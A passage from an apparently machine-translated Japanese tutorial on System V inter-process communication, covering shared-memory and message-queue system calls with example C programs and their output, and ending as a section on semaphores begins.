*3番目の引数shmflg* は、SHM_RND(SHMLBAへの丸めアドレス)またはSHM_EXEC(セグメントのコンテンツの実行を許可)またはSHM_RDONLY(読み取り専用のセグメントの付加)などの必要な共有メモリフラグを指定します。デフォルトでは読み取り/書き込み)またはSHM_REMAP(shmaddrで指定された範囲内の既存のマッピングを置き換え、セグメントの終わりまで継続します)。

この呼び出しは、成功するとアタッチされた共有メモリセグメントのアドレスを返し、失敗すると-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include <sys/types.h>
#include <sys/shm.h>

int shmdt(const void *shmaddr)

上記のシステムコールは、呼び出し元プロセスのアドレス空間から共有メモリセグメントを切り離すSystem V共有メモリセグメントの共有メモリ操作を実行します。 渡す必要がある引数は-

引数shmaddrは、切り離される共有メモリセグメントのアドレスです。 切り離されるセグメントは、shmat()システムコールによって返されたアドレスでなければなりません。

この呼び出しは、成功すると0を返し、失敗すると-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include <sys/ipc.h>
#include <sys/shm.h>

int shmctl(int shmid, int cmd, struct shmid_ds *buf)

上記のシステムコールは、System V共有メモリセグメントの制御操作を実行します。 次の引数を渡す必要があります-

最初の引数shmidは、共有メモリセグメントの識別子です。 このidは共有メモリ識別子であり、shmget()システムコールの戻り値です。

2番目の引数cmdは、共有メモリセグメントで必要な制御操作を実行するコマンドです。

cmdの有効な値は-

  • IPC_STAT -struct shmid_dsの各メンバーの現在の値の情報を、bufが指す渡された構造にコピーします。 このコマンドには、共有メモリセグメントへの読み取り権限が必要です。
  • IPC_SET -ユーザーID、所有者のグループID、権限などを設定します。 構造bufが指す。
  • IPC_RMID -破棄するセグメントをマークします。 セグメントは、最後のプロセスがセグメントを切り離した後にのみ破棄されます。
  • IPC_INFO -bufが指す構造体の共有メモリ制限とパラメータに関する情報を返します。
  • SHM_INFO -共有メモリによって消費されたシステムリソースに関する情報を含むshm_info構造体を返します。

3番目の引数bufは、struct shmid_dsという名前の共有メモリ構造体へのポインターです。 この構造の値は、cmdに従ってsetまたはgetに使用されます。

この呼び出しは、渡されたコマンドに応じて値を返します。 IPC_INFOとSHM_INFOまたはSHM_STATが成功すると、共有メモリセグメントのインデックスまたは識別子、または他の操作の場合は0、失敗の場合は-1が返されます。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

次のサンプルプログラムを考えてみましょう。

  • 2つのプロセスを作成します。1つは共有メモリへの書き込み用(shm_write.c)、もう1つは共有メモリからの読み取り用(shm_read.c)です。
  • プログラムは、書き込みプロセス(shm_write.c)による共有メモリへの書き込みと、読み取りプロセス(shm_read.c)による共有メモリからの読み取りを実行します。
  • 共有メモリ、書き込みプロセスで、サイズ1K(およびフラグ)の共有メモリを作成し、共有メモリをアタッチします
  • 書き込みプロセスは、共有メモリに1023バイトの「A」から「E」までのアルファベットを5回書き込みます。 最後のバイトはバッファの終わりを示します
  • 読み取りプロセスは共有メモリから読み取り、標準出力に書き込みます
  • プロセスアクションの読み取りと書き込みが同時に実行されます
  • 書き込みの完了後、書き込みプロセスが更新され、共有メモリへの書き込みの完了を示します(struct shmsegの完全な変数を使用)
  • 読み取りプロセスは共有メモリから読み取りを実行し、書き込みプロセスの完了の指示を受け取るまで出力に表示します(struct shmsegの完全な変数)
  • 単純化のために、また無限ループとプログラムの複雑化を避けるために、読み取りおよび書き込みプロセスを数回実行します

書き込みプロセスのコードは次のとおりです(共有メモリへの書き込み–ファイル:shm_write.c)

/*Filename: shm_write.c*/
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define BUF_SIZE 1024
#define SHM_KEY 0x1234

struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};
int fill_buffer(char *bufptr, int size);

int main(int argc, char* argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   char *bufptr;
   int spaceavailable;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }

  //Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }

  /*Transfer blocks of data from buffer to shared memory*/
   bufptr = shmp->buf;
   spaceavailable = BUF_SIZE;
   for (numtimes = 0; numtimes < 5; numtimes++) {
      shmp->cnt = fill_buffer(bufptr, spaceavailable);
      shmp->complete = 0;
      printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
      bufptr = shmp->buf;
      spaceavailable = BUF_SIZE;
      sleep(3);
   }
   printf("Writing Process: Wrote %d times\n", numtimes);
   shmp->complete = 1;

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }

   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}

int fill_buffer(char * bufptr, int size) {
   static char ch = 'A';
   int filled_count;

  //printf("size is %d\n", size);
   memset(bufptr, ch, size - 1);
   bufptr[size-1] = '\0';
   if (ch > 122)
   ch = 65;
   if ( (ch >= 65) && (ch <= 122) ) {
      if ( (ch >= 91) && (ch <= 96) ) {
         ch = 65;
      }
   }
   filled_count = strlen(bufptr);

  //printf("buffer count is: %d\n", filled_count);
  //printf("buffer filled is:%s\n", bufptr);
   ch++;
   return filled_count;
}

コンパイルおよび実行手順

Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete

読み取りプロセスのコードは次のとおりです(共有メモリから読み取り、標準出力に書き込む–ファイル:shm_read.c)

/*Filename: shm_read.c*/
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>

#define BUF_SIZE 1024
#define SHM_KEY 0x1234

struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }

  //Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }

  /* Transfer blocks of data from shared memory to stdout*/
   while (shmp->complete != 1) {
      printf("segment contains : \n\"%s\"\n", shmp->buf);
      if (shmp->cnt == -1) {
         perror("read");
         return 1;
      }
      printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
      sleep(3);
   }
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

コンパイルおよび実行手順

segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

メッセージキュー

共有メモリが既にあるのに、なぜメッセージキューが必要なのですか? それは複数の理由によるものです、単純化のためにこれを複数のポイントに分割してみましょう-

  • 理解されているように、メッセージがプロセスによって受信されると、他のプロセスで使用できなくなります。 一方、共有メモリでは、データは複数のプロセスがアクセスできます。
  • 小さなメッセージ形式で通信したい場合。
  • 複数のプロセスが同時に通信する場合は、共有メモリデータを同期で保護する必要があります。
  • 共有メモリを使用した書き込みおよび読み取りの頻度が高い場合、機能の実装は非常に複雑になります。 この種のケースでの使用に関しては価値がありません。
  • すべてのプロセスが共有メモリにアクセスする必要はないが、それだけを必要とするプロセスが非常に少ない場合は、メッセージキューを使用して実装する方が良いでしょう。
  • 異なるデータパケットと通信する場合、プロセスAがメッセージタイプ1をプロセスBに、メッセージタイプ10をプロセスCに、メッセージタイプ20をプロセスDに送信するとします。 この場合、メッセージキューを使用して実装する方が簡単です。 指定されたメッセージタイプを1、10、20として単純化するには、以下で説明するように、0または+ veまたは-veのいずれかです。
  • もちろん、メッセージキューの順序はFIFO(先入れ先出し)です。 キューに挿入される最初のメッセージは、取得される最初のメッセージです。

共有メモリまたはメッセージキューを使用するかどうかは、アプリケーションの必要性と、それをどの程度効果的に利用できるかによって異なります。

メッセージキューを使用した通信は、次の方法で発生する可能性があります-

  • あるプロセスによる共有メモリへの書き込みと、別のプロセスによる共有メモリからの読み取り。 認識しているように、読み取りは複数のプロセスでも実行できます。

メッセージキュー

  • 異なるデータパケットを使用した1つのプロセスによる共有メモリへの書き込みと、複数のプロセスによる、つまりメッセージタイプごとの共有メモリからの読み取り。

複数のメッセージキュー

メッセージキューに関する特定の情報を見たので、今度はメッセージキューをサポートするシステムコール(System V)を確認します。

メッセージキューを使用して通信を実行するには、次の手順があります-

  • ステップ1 *-メッセージキューを作成するか、既存のメッセージキューに接続する(msgget())
  • ステップ2 *-メッセージキューに書き込む(msgsnd())
  • ステップ3 *-メッセージキューからの読み取り(msgrcv())
  • ステップ4 *-メッセージキューで制御操作を実行する(msgctl())

次に、上記の呼び出しの構文と特定の情報を確認しましょう。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgget(key_t key, int msgflg)

このシステムコールは、System Vメッセージキューを作成または割り当てます。 次の引数を渡す必要があります-

  • 最初の引数keyは、メッセージキューを認識します。 キーは、任意の値でも、ライブラリ関数ftok()から派生した値でもかまいません。
  • 2番目の引数shmflgは、IPC_CREAT(存在しない場合はメッセージキューを作成する)またはIPC_EXCL(IPC_CREATとともに使用してメッセージキューを作成し、メッセージキューが既に存在する場合は呼び出しが失敗する)などの必要なメッセージキューフラグを指定します。 許可も渡す必要があります。

-権限の詳細については、前のセクションを参照してください。

この呼び出しは、成功した場合は有効なメッセージキュー識別子(メッセージキューの以降の呼び出しに使用)を返し、失敗した場合は-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

この呼び出しに関するさまざまなエラーは、EACCESS(許可が拒否されました)、EEXIST(既に存在するキューは作成できません)、ENOENT(キューが存在しません)、ENOMEM(キューを作成するのに十分なメモリがありません)などです。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)

このシステムコールは、メッセージをメッセージキューに送信/追加します(システムV)。 次の引数を渡す必要があります-

  • 最初の引数msgidは、メッセージキュー、つまりメッセージキュー識別子を認識します。 msgget()の成功時に識別子の値を受け取ります
  • 2番目の引数、msgpは、次の形式の構造で定義された、呼び出し元に送信されるメッセージへのポインタです-
struct msgbuf {
   long mtype;
   char mtext[1];
};

変数mtypeは、さまざまなメッセージタイプとの通信に使用されます。詳細については、msgrcv()呼び出しで説明しています。 変数mtextは、msgsz(正の値)でサイズが指定された配列またはその他の構造です。 mtextフィールドが言及されていない場合、それは許可されているゼロサイズのメッセージと見なされます。

  • 3番目の引数msgszは、メッセージのサイズです(メッセージはヌル文字で終了する必要があります) *4番目の引数msgflgは、IPC_NOWAITなどの特定のフラグを示します(キューにメッセージが見つからない場合はすぐに戻ります。MSG_NOERROR(msgszバイトを超える場合はメッセージテキストを切り捨てます)

この呼び出しは、成功すると0を返し、失敗すると-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgrcv(int msgid, const void* msgp, size_t msgsz, long msgtype, int msgflg)

このシステムコールは、メッセージキュー(システムV)からメッセージを取得します。 次の引数を渡す必要があります-

  • 最初の引数msgidは、メッセージキュー、つまりメッセージキュー識別子を認識します。 msgget()の成功時に識別子の値を受け取ります
  • 2番目の引数msgpは、呼び出し元から受信したメッセージのポインターです。 それは、次の形式の構造で定義されています-
struct msgbuf {
   long mtype;
   char mtext[1];
};

変数mtypeは、異なるメッセージタイプとの通信に使用されます。 変数mtextは、msgsz(正の値)でサイズが指定された配列またはその他の構造です。 mtextフィールドが言及されていない場合、それは許可されているゼロサイズのメッセージと見なされます。

  • 3番目の引数msgszは、受信したメッセージのサイズです(メッセージはヌル文字で終了する必要があります)
  • fouth引数、msgtypeは、メッセージのタイプを示しています-
  • * msgtypeが0の場合-キュー内の最初の受信メッセージを読み取ります
  • msgtypeが+ ve の場合-タイプmsgtypeのキュー内の最初のメッセージを読み取ります(msgtypeが10の場合、他のタイプが最初にキューにある場合でもタイプ10の最初のメッセージのみを読み取ります)
  • msgtypeが-ve の場合-メッセージタイプの絶対値以下の最低タイプの最初のメッセージを読み取ります(たとえば、msgtypeが-5の場合、5より小さいタイプの最初のメッセージを読み取ります。つまり、メッセージタイプは1から5) *5番目の引数msgflgは、IPC_NOWAITなどの特定のフラグを示します(キューにメッセージが見つからない場合はすぐに戻ります。MSG_NOERROR(msgszバイトを超える場合はメッセージテキストを切り捨てます)

この呼び出しは、成功するとmtext配列で実際に受信したバイト数を返し、失敗した場合は-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgctl(int msgid, int cmd, struct msqid_ds* buf)

このシステムコールは、メッセージキュー(システムV)の制御操作を実行します。 次の引数を渡す必要があります-

  • 最初の引数msgidは、メッセージキュー、つまりメッセージキュー識別子を認識します。 msgget()の成功時に識別子の値を受け取ります

  • 2番目の引数cmdは、メッセージキューで必要な制御操作を実行するコマンドです。 cmdの有効な値は-

    *IPC_STAT* -struct msqid_dsの各メンバーの現在の値の情報を、bufが指す渡された構造にコピーします。 このコマンドには、メッセージキューの読み取り権限が必要です。
    *IPC_SET* -構造bufが指すユーザーID、所有者のグループID、権限などを設定します。
    *IPC_RMID* -メッセージキューをすぐに削除します。
    *IPC_INFO* -タイプstruct msginfoであるbufが指す構造体のメッセージキュー制限とパラメーターに関する情報を返します
    *MSG_INFO* -メッセージキューによって消費されたシステムリソースに関する情報を含むmsginfo構造体を返します。
  • 3番目の引数bufは、struct msqid_dsという名前のメッセージキュー構造体へのポインターです。 この構造の値は、cmdに従ってsetまたはgetに使用されます。

この呼び出しは、渡されたコマンドに応じて値を返します。 IPC_INFOおよびMSG_INFOまたはMSG_STATが成功すると、メッセージキューのインデックスまたは識別子が返されます。他の操作の場合は0、失敗の場合は-1が返されます。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

メッセージキューに関する基本的な情報とシステムコールを確認したら、今度はプログラムで確認します。

プログラムを見る前に説明を見てみましょう-

  • ステップ1 *-2つのプロセスを作成します。1つはメッセージキュー(msgq_send.c)に送信するためのもので、もう1つはメッセージキュー(msgq_recv.c)から取得するためのものです
  • ステップ2 *-ftok()関数を使用してキーを作成します。 このため、一意のキーを取得するために、最初にファイルmsgq.txtが作成されます。
  • ステップ3 *-送信プロセスは以下を実行します。
  • ユーザーから入力された文字列を読み取ります
  • 存在する場合、新しい行を削除します
  • メッセージキューに送信する
  • 入力が終了するまでプロセスを繰り返します(CTRL + D)
  • 入力の終了を受信したら、メッセージ「end」を送信してプロセスの終了を通知します
  • ステップ4 *-受信プロセスで、以下を実行します。
  • キューからメッセージを読み取ります
  • 出力を表示します
  • 受信したメッセージが「終了」の場合、プロセスを終了して終了します

単純化するために、このサンプルではメッセージタイプを使用していません。 また、1つのプロセスがキューに書き込み、別のプロセスがキューから読み取りを行っています。 これは必要に応じて拡張できます。つまり、理想的には、1つのプロセスがキューに書き込み、複数のプロセスがキューから読み取ります。

次に、プロセス(メッセージをキューに送信)を確認します–ファイル:msgq_send.c

/*Filename: msgq_send.c*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};

int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int len;
   key_t key;
   system("touch msgq.txt");

   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }

   if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to send messages.\n");
   printf("Enter lines of text, ^D to quit:\n");
   buf.mtype = 1;/*we don't really care in this case*/

   while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
      len = strlen(buf.mtext);
     /*remove newline at end, if it exists*/
      if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
      if (msgsnd(msqid, &buf, len+1, 0) == -1)/*+1 for '\0'*/
      perror("msgsnd");
   }
   strcpy(buf.mtext, "end");
   len = strlen(buf.mtext);
   if (msgsnd(msqid, &buf, len+1, 0) == -1)/*+1 for '\0'*/
   perror("msgsnd");

   if (msgctl(msqid, IPC_RMID, NULL) == -1) {
      perror("msgctl");
      exit(1);
   }
   printf("message queue: done sending messages.\n");
   return 0;
}

コンパイルおよび実行手順

message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.

以下は、メッセージ受信プロセスからのコードです(キューからメッセージを取得)–ファイル:msgq_recv.c

/*Filename: msgq_recv.c*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};

int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int toend;
   key_t key;

   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }

   if ((msqid = msgget(key, PERMS)) == -1) {/*connect to the queue*/
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to receive messages.\n");

   for(;;) {/* normally receiving never ends but just to make conclusion
            /*this program ends wuth string of end*/
      if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
         perror("msgrcv");
         exit(1);
      }
      printf("recvd: \"%s\"\n", buf.mtext);
      toend = strcmp(buf.mtext,"end");
      if (toend == 0)
      break;
   }
   printf("message queue: done receiving messages.\n");
   system("rm msgq.txt");
   return 0;
}

コンパイルおよび実行手順

message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.

プロセス間通信-セマフォ

頭に浮かぶ最初の質問は、なぜセマフォが必要なのかということです。 複数のプロセス間で共有されるクリティカル/共通領域を保護するための簡単な答え。

複数のプロセスが同じコード領域を使用しており、すべてが並行してアクセスしたい場合、結果は重複しています。 たとえば、複数のユーザーが1つのプリンター(共通/クリティカルセクション)のみを使用している場合、たとえば3人のユーザーが同時に3つのジョブを使用している場合、すべてのジョブが並行して開始されると、1人のユーザーの出力が別のユーザーの出力と重複します。 そのため、セマフォを使用してそれを保護する必要があります。つまり、1つのプロセスの実行中にクリティカルセクションをロックし、完了したらロック解除します。 これは、ユーザー/プロセスごとに繰り返され、1つのジョブが別のジョブと重複しないようにします。

基本的にセマフォは2つのタイプに分類されます-

